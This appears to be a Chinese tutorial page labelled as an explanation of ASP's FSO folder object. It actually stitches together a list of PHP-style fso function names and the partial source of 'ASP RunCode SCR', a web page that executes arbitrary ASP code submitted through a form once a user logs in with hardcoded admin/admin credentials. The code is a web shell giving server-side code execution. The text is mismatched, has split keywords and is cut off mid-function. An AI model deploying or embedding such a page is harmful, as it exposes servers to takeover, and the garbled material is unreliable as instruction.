ASP学习:FSO文件夹祥解

80酷酷网    80kuku.com

  fsofso:: getAbsolute($dir)
得到一个相对路径的相对于根目录的路径
fso:: getOpposite($dir)
得到一个相对于根目录的路径的相对于当前程序页面的路径
fso:: createFolder($dirname)
新建一个目录
fso:: folderExists($folder)
判断一个目录是否存在
fso:: fileExists($file)
判断一个文件是否存在
fso:: copyFolder($source, $dest)
拷贝一个目录下的子目录和文件到另一个目录
fso:: copyFile($source, $dest)
拷贝一个文件
fso:: scanFolder($folder, &$array)
得到一个目录下的所有文件和目录列表,$array将是一个二维数组,每个元素形如array(“name”=>文件/目录名,”size”=>文件/目录尺寸,”time”=>最后修改时间)
fso:: moveFile($source, $dest)
把一个目录/文件移到另一个地方,原目录/文件将被尝试删除
fso:: removeFolder($folder)
删除一个目录
fso:: removeFile($file)
删除一个文件
fso:: createFile($file)
新建一个文件
fso:: writeLine($handle , $string)
向一个已打开的句柄里写入一个字符串
fso:: readLine($file)
读一个文件中的第一行
fso:: readFile($file)
读取整个文件
fso:: openFile($file, $method = "a+")
以一种方式打开文件
<% LANGUAGE="VBs cript" %>
<%Option Explicit
response.buffer=true
dim Spassword,SUserName
SUserName="admin"
Spassword="admin"
dim SQLMutiStr
dim i
dim action
action=request.querystring("action")

IF action="GetCode" then '---------TOT
NumCodeJS
ELSE '--------TOT
Response.Write("<!DOCTYPE HTML PUBLIC ""-//W3C//DTD HTML 4.0 Transitional//EN"">")
Response.Write("<HTML>")
Response.Write("<HEAD>")
Response.Write("<TITLE>ASP RunCode SCR V1.0 / Create By PaintBlue.Net V37</TITLE>")
Response.Write("<META NAME=""Generator"" CONTENT=""EditPlus,V37,PaintBlue.Net"">")
Response.Write("<META NAME=""Author"" CONTENT=""V37,PaintBlue.Net"">")
Response.Write("<META NAME=""Keywords"" CONTENT=""PaintBlue.Net,,V37,RunCode,ASP,s cript,BlueIdea.COM,Lfgbox.com"">")
Response.Write("<META NAME=""Des cription"" CONTENT=""运行ASP代码的ASP脚本!"">")
Response.Write("</HEAD>")
Response.Write("<BODY bgcolor=#D4D0C8>")

SQLMutiStr=trim(Request.Form("SQLMutiStr"))
if session("login")="" and action="chkpass" then
session("login")=checkPass()
end if
if action="exit" then session("login")=""
if session("login")="1" then
if action="RunCode" then
if SQLMutiStr="" then
Response.write "没有输入要运行的代码!"
Response.write "

<a href=""javas cript:window.history.back();"">返回运行页面</a>

"
Response.write "<a href=""?action=exit"">退出登陆</a>"
response.end
else
dim ExeStrArr
dim re
dim tempSQL,tempSQL2
dim s criptArr,s criptSubArr
tempSQL2=""
tempSQL=split(SQLMutiStr,vbcrlf)
if inStr(lcase(tempSQL(0)),"language")>0 then
tempSQL2=tempSQL(1)
if ubound(tempSQL)>1 then
for i=1 to ubound(tempSQL)
tempSQL2=tempSQL2&tempSQL(i)
next
end if
tempSQL2=trim(tempSQL2)
else
tempSQL2=SQLMutiStr
end if
tempSQL2=replace(tempSQL2,"<%"&"=","<"&"%response.write ")
do
tempSQL2=replace(tempSQL2,vbcrlf&vbcrlf,vbcrlf)
loop while instr(tempSQL2,vbcrlf&vbcrlf)>0
tempSQL2=trim(tempSQL2)
tempSQL2="<"&"%%"&">"&tempSQL2&"<"&"%%"&">"
s criptArr=split(tempSQL2,"%"&">")
dim ub,kub
ub=ubound(s criptArr)
for i=0 to ub-1
s criptSubArr=split(s criptArr(i),"<"&"%")
if i>0 then response.write (s criptSubArr(0))
ExeCuteIt(s criptSubArr(1))
next
call EndProc("<font color=#009900>代码运行完毕!</font>")
end if
else
%>
输入要运行的ASP代码:
<FORM METHOD=POST ACTION="?action=RunCode" NAME="SQLMutiStr" wrap='OFF' ROWS="20" TYPE="button" Value="LouOut">
<INPUT TYPE="reset" Value="Clear">
<INPUT TYPE="submit" value="Run AspCode">
</FORM>
<% end if
else
call loginmain()
end if
Response.write ("</BODY></HTML>")
END IF '-------TOT

SUB loginMain()
%>

<FORM METHOD=POST ACTION="?action=chkpass"> UserName:<INPUT TYPE="text" NAME="UserName">

 PassWord:<INPUT TYPE="password" NAME="Runpassword">

CheckCode:<INPUT TYPE="GetCode" NAME="GetCode"><img src="runasp.asp?action=GetCode&Time=<%=timer()%>">


<img width=125 height=0><INPUT TYPE="submit" value=" Login "></FORM>
<%
End SUB

function checkPass()
dim UserName,Runpassword,GetCode
dim errinfo
checkPass=""
UserName=trim(request.form("UserName"))
Runpassword=trim(request.form("Runpassword"))
GetCode=request.form("GetCode")
if UserName="" or Runpassword="" then
errinfo=errinfo&"<li>用户名和密码输入不能为空"
end if
if Not isnumeric(GetCode) then
errinfo=errinfo&"<li>请输入数字校验码"

分享到
  • 微信分享
  • 新浪微博
  • QQ好友
  • QQ空间
点击: